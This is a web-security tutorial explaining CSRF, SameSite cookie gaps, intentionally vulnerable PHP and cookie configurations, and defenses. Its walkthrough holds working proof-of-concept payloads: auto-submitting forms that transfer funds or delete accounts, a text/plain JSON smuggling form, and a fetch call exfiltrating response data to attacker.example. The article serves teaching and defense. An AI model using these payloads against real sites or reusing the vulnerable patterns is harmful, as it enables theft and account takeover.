Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Cross-Site Request Forgery abuses the browser’s *ambient authority*: cookies, HTTP basic-auth credentials, and client certificates are attached automatically to a request based on the destination domain, regardless of which page initiated that request. If a site authenticates a state-changing action using only that ambient credential — with nothing proving the request actually originated from the site’s own UI — an attacker can host a page that silently fires the request from the victim’s browser while the victim is simply logged in, with no interaction beyond loading (or in some cases clicking a link on) the attacker’s page.
Browsers have shipped mitigations — most importantly the SameSite cookie attribute, which is Lax by default in current Chrome and Firefox — but CSRF remains a live finding because the default only closes the easiest attack surface. Lax still allows cookies on top-level GET navigations, state-changing endpoints still exist that respond to GET, sites still explicitly opt into SameSite=None for legitimate third-party embedding, and a whole class of CORS-misconfiguration and content-type tricks bypass the browser’s same-origin assumptions entirely. CSRF protection is therefore still something applications must implement deliberately, not something the browser guarantees for free.
Attack Prerequisites
A CSRF attack against a given endpoint typically requires:
- The victim is authenticated to the target application via a credential the browser attaches automatically — a session cookie without
SameSite=Strict, or one that still qualifies forLax‘s top-level-navigation exemption. - The target endpoint performs a state change based solely on that ambient credential, with no unpredictable, session-bound anti-CSRF token and no meaningful
Origin/Referervalidation. - The attacker can get the victim’s browser to issue the request — a hosted page with an auto-submitting form, a crafted link, or a stored injection on any site the victim visits.
- The request’s other parameters are either fixed/guessable or don’t require secret knowledge the attacker lacks — CSRF forges a request, it does not read the response, so it is a poor fit for exfiltrating data unless paired with a CORS misconfiguration.
How It Works
A classic CSRF PoC is an HTML form on an attacker-controlled page whose action points at the victim application, auto-submitted by JavaScript. The browser has no way to know the submission wasn’t the user’s own intent — it just sees a request to victim.example and attaches whatever cookie is stored for that domain. If the server’s only check is “is there a valid session cookie,” the forged request passes every check the legitimate one would.
SameSite narrows this by telling the browser when to withhold a cookie on a cross-site request. Strict withholds it on every cross-site request, including top-level navigation — safest, but breaks flows like clicking a link from an email that should land the user already logged in. Lax (the modern default for cookies with no explicit attribute) still sends the cookie on cross-site *top-level navigations* using safe methods — a link click, a window.location redirect, or a submitted GET form — because browsers treat those as user-driven navigation. It withholds the cookie on cross-site subresource loads (<img>, <iframe>, fetch, XHR). This is exactly why a state-changing action reachable via GET remains exploitable under default Lax cookies: a top-level auto-submitted GET form is a navigation, not a subresource load, so the cookie still rides along. SameSite=None explicitly re-opts a cookie into being sent on every cross-site request (required for legitimate third-party embeds like payment widgets) — if that attribute ends up on a session cookie for convenience, the cookie is fully exposed to CSRF again.
Bypasses beyond an explicit None show up regularly in real assessments: login CSRF, where the attacker forges a login into their own account so the victim unknowingly performs subsequent actions as the attacker, which a token scheme tied to a pre-existing session doesn’t stop; related-subdomain quirks, since SameSite‘s notion of “site” is the registrable domain (eTLD+1), so a request from a compromised or attacker-influenced subdomain of the same parent domain is not cross-site at all; and CORS misconfiguration, where Access-Control-Allow-Origin reflects an arbitrary request Origin together with Access-Control-Allow-Credentials: true — this upgrades a blind CSRF into a request the attacker’s JavaScript can actually read the response of.
Vulnerable Code / Configuration
A state-changing handler that trusts the session cookie alone, with no CSRF token and no origin check:
<?php
// POST /transfer
session_start();
// VULNERABLE: no CSRF token validated, no Origin/Referer check —
// the session cookie is the only thing gating this action.
if (isset($_SESSION['user_id'])) {
transfer_funds($_SESSION['user_id'], $_POST['to_account'], $_POST['amount']);
echo 'Transfer complete';
}
PHPA session cookie with no SameSite attribute, and a worse variant that explicitly re-enables cross-site sending:
Set-Cookie: session=eyJhbGciOi...; Path=/; Secure
# VULNERABLE: no SameSite attribute set explicitly by the app; behavior
# then depends entirely on the browser's default and offers no defense
# in depth if that default ever changes or is overridden upstream.
Set-Cookie: session=eyJhbGciOi...; Path=/; Secure; SameSite=None
# VULNERABLE (worse): a money-moving session cookie explicitly opted
# back into being sent on every cross-site request.
HTTPA state change exposed over GET, which stays exploitable even under the modern SameSite=Lax default because a top-level navigation still carries the cookie:
GET /account/delete?confirm=1 HTTP/1.1
Host: victim.example
Cookie: session=eyJhbGciOi...
# VULNERABLE: irreversible state change triggered by a safe HTTP method.
HTTPWalkthrough / Exploitation
Confirm the endpoint lacks a token and inspect the cookie’s SameSite value from the raw response headers:
curl -si https://victim.example/login -c cookies.txt | grep -i set-cookie
BashBuild a classic auto-submitting POST CSRF page for the funds-transfer endpoint and host it anywhere reachable by the victim:
<!DOCTYPE html>
<html><body onload="document.forms[0].submit()">
<form action="https://victim.example/transfer" method="POST">
<input type="hidden" name="to_account" value="ATTACKER-IBAN">
<input type="hidden" name="amount" value="9999">
</form>
</body></html>
HTMLIf the target endpoint only accepts JSON and the developer assumed that alone blocks CSRF, use the classic text/plain trick: browsers submit an enctype="text/plain" form without a CORS preflight, and a loosely-parsing JSON body reader on the server accepts the resulting body anyway:
<form action="https://victim.example/api/transfer" method="POST"
enctype="text/plain">
<input name='{"to_account":"ATTACKER-IBAN","amount":9999,"x":"'
value='"}'>
</form>
<script>document.forms[0].submit()</script>
HTMLFor a GET-based state change protected only by default SameSite=Lax, use a top-level navigating auto-submitted form rather than an <img> tag — subresource loads are blocked under Lax, but a submitted form is treated as a top-level navigation and still carries the cookie:
<form id="f" action="https://victim.example/account/delete" method="GET">
<input type="hidden" name="confirm" value="1">
</form>
<script>document.getElementById('f').submit();</script>
HTMLWhere CORS is misconfigured to reflect Origin with credentials allowed, the attacker’s script can read the response too, not just fire blind:
fetch('https://victim.example/api/whoami', { credentials: 'include' })
.then(r => r.json())
.then(d => navigator.sendBeacon('https://attacker.example/c', JSON.stringify(d)));
JavaScriptNote: Many frameworks generate a CSRF token but only validate it *if present*, silently accepting the request when the token field is omitted entirely. Always test dropping the token parameter outright, not just tampering with its value — a ‘fail open’ check is a very common finding.
Opsec: The double-submit-cookie pattern (compare a cookie value to a request parameter, no server-side session store needed) is weaker than a synchronizer token: if the attacker can set cookies in the victim’s browser for the target domain — via a subdomain XSS, a related-domain cookie injection, or a network MITM on an HTTP subresource — they can just mirror that same value into the forged request parameter and pass the check.
Detection and Defense
Effective CSRF defense combines a server-side token with a hardened cookie policy — neither alone is reliable:
- Synchronizer token pattern — a per-session (or per-request) unpredictable token embedded in every state-changing form/request and validated server-side, rejected outright if absent.
SameSite=StrictorLaxplusSecureon session cookies; reserveSameSite=Noneonly for cookies that genuinely require third-party embedding, never for the primary session cookie.- Validate
Origin/Refereron state-changing requests as defense in depth — reject if anOriginheader is present and doesn’t match the expected host. - Never perform state changes on GET — GET must stay side-effect-free per the HTTP spec.
- Require a custom header (e.g.
X-Requested-With) on API requests; plain HTML forms can’t set custom headers, which forces a CORS preflight that then enforces an origin allowlist. - Avoid permissive CORS — never combine a reflected
Access-Control-Allow-OriginwithAccess-Control-Allow-Credentials: true.
Real-World Impact
CSRF was common enough in the mid-2010s to be treated as a headline OWASP Top 10 category before framework-level token defaults made naive cases rarer; it remains a recurring bug bounty finding today specifically where those defaults were bypassed — state-changing GET endpoints, JSON APIs assumed to be immune, login CSRF used to pre-stage account takeover, and cookies explicitly set to SameSite=None for embedding without a compensating token. Account and email-change flows are the most frequently reported targets, since a successful forgery there is a direct path to full account takeover.
Conclusion
CSRF works because browsers extend ambient trust — cookies — to any site that asks, and it only stops working when the server demands proof of intent that an attacker’s page cannot forge. A synchronizer token plus a correctly scoped SameSite cookie policy closes the overwhelming majority of cases, but each has known gaps — GET-based state changes, None opt-outs, related-subdomain cookies, permissive CORS — so real protection means checking all of them, not just the one that happens to be a browser default.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments